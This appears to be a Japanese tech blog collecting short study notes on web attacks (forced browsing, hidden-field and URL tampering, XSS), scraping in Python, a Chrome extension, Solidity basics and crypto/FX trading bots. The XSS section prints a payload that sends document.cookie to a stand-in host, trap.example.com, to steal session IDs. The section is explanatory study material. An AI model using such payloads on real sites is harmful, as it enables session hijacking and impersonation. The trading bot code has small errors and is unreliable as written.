[Security] 強制ブラウズ

強制ブラウズ とは、アドレスバーからURLを直接入力して、非公開のブラウzを強制的に表示させてしまう攻撃

http://www.example.co.jp/some/path/filename.html

この場合、URLを推測してアクセスしてくる場合がある

### コメント
コードのコメントの意味を読み取って、攻撃する場合がある

### 検出方法
– 検索エンジンによる検索
– nikto
– OWASP DirBuster
– ZAP
– wfuzz

OWASP DirBusterの例
ターゲットURLとディレクトリリストを入力すると、見つかったディレクトリ等が表示されれて、ファイルを表示することもできる
ワードプレスのようなOSSの場合はディレクトリ構成が既に判明しているため、攻撃を受けやすい

攻撃方法を専門で研究している人もいるのか…
怖いね

[Security] hiddenフィールドの不正操作

ショッピングサイトにおいて商品の価格をHiddenフィールドに埋め込む

<input type="hidden" name="price" value="40">

このvalueが書き換えられると、より安い値段で決済されてしまうので、商品情報のDB側を値を参照して決済処理しないとsecureにならない

もしくは、hiddenの値が書き換えられてないかチェックする仕組みをcontroller側で実装する

amazonの商品ページのソースコードを見ましたが、priceはinputフィールドに記載がなさそうですね

[Security] URLパラメータの改竄とSniffer

### ユーザ情報等の全件表示
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge

Getパラメータの場合、アスタリスクにすると、全件取得できる場合がある
sample.cgi?user=*

### クロスサイトスクリプティング
受け取ったパラメータをそのまま表示する場合、コードを埋め込むと、コードが実行されてしまう
http://www.example.co.jp/cgi-bin/sample.cgi?user=hoge
http://www.example.co.jp/cgi-bin/sample.cgi?user=${コード}

パラメータをHTMLと解釈されないようにエスケープ処理する必要がある

### クロスサイトスクリプティングの例
cookie情報を表示できてしまう

"><script>alert(document.cookie)</script><!--

罠リンク: URLが圧縮されるとわからない

http://<ServerName>/xss_confirm.php?name="><script>alert(document.cookie)</script><!--

セッソンIDを盗む方法

"><script>window.location='http://trap.example.com/trap.php?'+document.cookie;</script><!--

セッション ID を入手したら、セッションIDを利用して Webアプリケーションにアクセスし、なりすましが完成する

### Sniffer
パケット盗聴用のソフト、HTTPS通信の場合は盗聴されない
Wireshark、Python3 + pySerial、nRF Snifferで環境構築ができる
デバイス単位でパケットデータを解析できる

パケットは16進数 ASCII表示

04 3e 20 02 01 04 00 df cd 64 4c 99 b4 14 0a 09  .> ......dL.....
53 65 6e 73 6f 72 54 61 67 05 12 50 00 20 03 02  SensorTag..P. ..
0a 00 ba                

[Python] scrapyによるスクレイピング

scrapyとはweb scraping用のフレームワーク

$ pip3 install scrapy
$ scrapy version
Scrapy 2.5.1
$ scrapy startproject test1

$ cd test1
$ scrapy genspider test2 https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/
Created spider ‘test2’ using template ‘basic’ in module:
test1.spiders.test2

test1/items.py

import scrapy
class Test1Item(scrapy.Item):
    title = scrapy.Field()

test1/spiders/test2.py

import scrapy
from test1.items import Test1Item

class Test2Spider(scrapy.Spider):
    name = 'test2'
    allowed_domains = ['paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/']
    start_urls = ['https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3//']

    def parse(self, response):
        return Test1Item(
        		title = response.css('title').extract_first(),
        	)

$ scrapy crawl test2

BS4で良いじゃんと思ってしまうが、どうなんだろうか。

[Python] BeautifulSoupによるスクレイピング

$ sudo pip3 install bs4

import requests
from bs4 import BeautifulSoup

response = requests.get('https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/')
soup = BeautifulSoup(response.text, 'html.parser')
title = soup.find('title').get_text()
print(title)

$ python3 main.py
年内配送OK カニ かに 蟹 ズワイガニ カニ刺身 かにしゃぶ 殻Wカット生本ズワイ3箱セット カニ8規格 選べる最大3kg かに脚 フルポーション剥身 姿 カニ爪 かに鍋 越前かに問屋ますよね公式ストア – 通販 – PayPayモール

urllibより操作が簡単そうですな

[Python] urllib.requestによるスクレイピング

from urllib import request

response = request.urlopen('https://paypaymall.yahoo.co.jp/store/*/item/y-hp600-3/')
content = response.read()
response.close()
html = content.decode()

title = html.split('<title>')[1].split('</title')[0]
print(title)

$ python3 main.py
年内配送OK カニ かに 蟹 ズワイガニ カニ刺身 かにしゃぶ 殻Wカット生本ズワイ3箱セット カニ8規格 選べる最大3kg かに脚 フルポーション剥身 姿 カニ爪 かに鍋 越前かに問屋ますよね公式ストア – 通販 – PayPayモール

なるほど

Chrome Extensionを自作したい

必要なもの
– js file
– html, css, image
– manifest file

### manifest.json (設定全般)
パッケージ化されてない拡張機能を読み込む で設定する

content.js

window.alert("app opened!");

manifest.json

{
	"name":"sample",
	"version": "1.0.0",
	"manifest_version": 2,
	"description": "sampleChromeExtension",
	"content_scripts": [{
		"matches": ["http://192.168.33.10:8000/test.html"],
		"js": [
			"content.js"
		]
	}]
}

できました

なるほどー 意外と簡単に作れるのね

[Ethereum] Solidityの基礎構文 その1

$ truffle init
$ touch test/practice_test.js

const PracticeContract = artifacts.require("Practice");

contract("Practice", () => {
	it("has been deployed successfully", async() => {
		const practice = await PracticeContract.deployed();
		assert(practice, "contract was not deployed");
	})
})

artifacts.require(“*”) でコンパイル済みのコントラクトを読み込んで操作できる

$ touch contracts/Practice.sol

pragma solidity >= 0.4.0 < 0.7.0;

contract Practice {
	
}

migrationによってcontractがdeployされる
$ touch migrations/2_deploy_practice.js

const PracticeContract = artifacts.require("Practice");

module.exports = function(deployer) {
	deployer.deploy(PracticeContract);
}

contract

pragma solidity >= 0.4.0 < 0.7.0;

contract Practice {

	function hello() external pure returns(string memory) {
		return "Hello, World!";
	}
}

– hello : 関数
– external関数 : practice contactのインターフェイスの一部であり、他のコントラクトから呼び出せるが、コントラクトの中からは呼び出せない。external以外に、internal, public, privateがある。publicは他のコントラクトから呼び出せるし、内部でも呼び出せる。externalをpublicに変更しても結果は同じ。internalとprivateではオブジェクトやthisでは呼び出せない。
– pure, view: コントラクトの変数の状態を変更しない関数 pureはデータを読み込むことも書き込むこともできない viewは読み込むだけ
– memory : 永続ストレージに配置されているものを一切参照しない

なるほど 分解すると分かりやすい

仮想通貨の自動売買

bitflyerのライブラリをpipでインストールします
$ pip3 install pybitflyer

import pybitflyer
import time

api_key = ""
api_secret = ""

api = bitflyer.API(api_key=api_key, api_secret=api_secret)

base_price = api.ticker(product_code="BTC_JPY")["ltp"]
print("bot開始時の価格は"+str(base_price)+"です。")

while True:
	time.sleep(5)
	price_now = api.ticker(product_code="BTC_JPY")["ltp"]
	print("現在のBTCJPYは " + str(price_now) + " です。")
	if base_price*0.95 >= price_now:
		print("bitcoin価格が下落しています。成行きで買い注文を入れます。")
		print("bitflyerのサーバーからの応答は以下です。")
		print(api.sendchildorder(product_code="BTC_JPY", child_order_type="MARKET", side="BUY", size=0.005, minute_to_expire=10000,time_in_force="GTC"))
		base_price = price_now

	elif base_price * 1.05 <= price_now:
		print("bitcoin価格が下落しています。成行きで売り注文を入れます。")
		print("bitflyerのサーバーからの応答は以下です。")
		print(api.sendchildorder(product_code="BTC_JPY", child_order_type="MARKET", side="SELL", size=0.005, minute_to_expire=10000,time_in_force="GTC"))
		base_price = price_now

	else:
		print("bitcoin価格に大きな変動はありません")

なるほど、base_priceとnow_priceで自動注文するのね
でもこれ、上昇相場なら無限に損するし、下落相場でも無限に損するやん
box相場の時のみ儲かるってことか
ここで移動平均線とかも組み合わせるのかな…

なんか色々ロジックがありそうですね。

アルゴリズムトレードとは

FXの場合、MT4を使えばツール上で完結する
MT4のMQLを持ちいる
MT4のバックテストツールで検証できる
そのままMT4で実弾の入った口座にログインして自動取引モードにすると取引できるようになる

lang:filename
void OnTick(void){
if(なにか条件){
ticket=OrderSend(Symbol(),OP_BUY,Lots,Ask,ALLOW_SLIPPAGE,NULL,Ask+TakeProfit*Point,"comment",Magic,0,Green);
}
}

価格が変動するとOnTick()関数が走るので、その中にメインロジックを書いていく
売り買いの注文は用意されており、OrderSend()は注文を入れる
移動平均線、ボリンジャーバンドなど様々なツール

Rを用いて実装することも
Pythonで機械学習を実装する場合はAPI化するう
他人が作成したアルゴリズムが販売されている
https://www.metatrader4.com/en/signals/overview
https://www.gogojungle.co.jp/

なるほど、まずはMT4の環境構築からか
EAを購入してVPSのwindows環境で動かしている人が多いみたいですね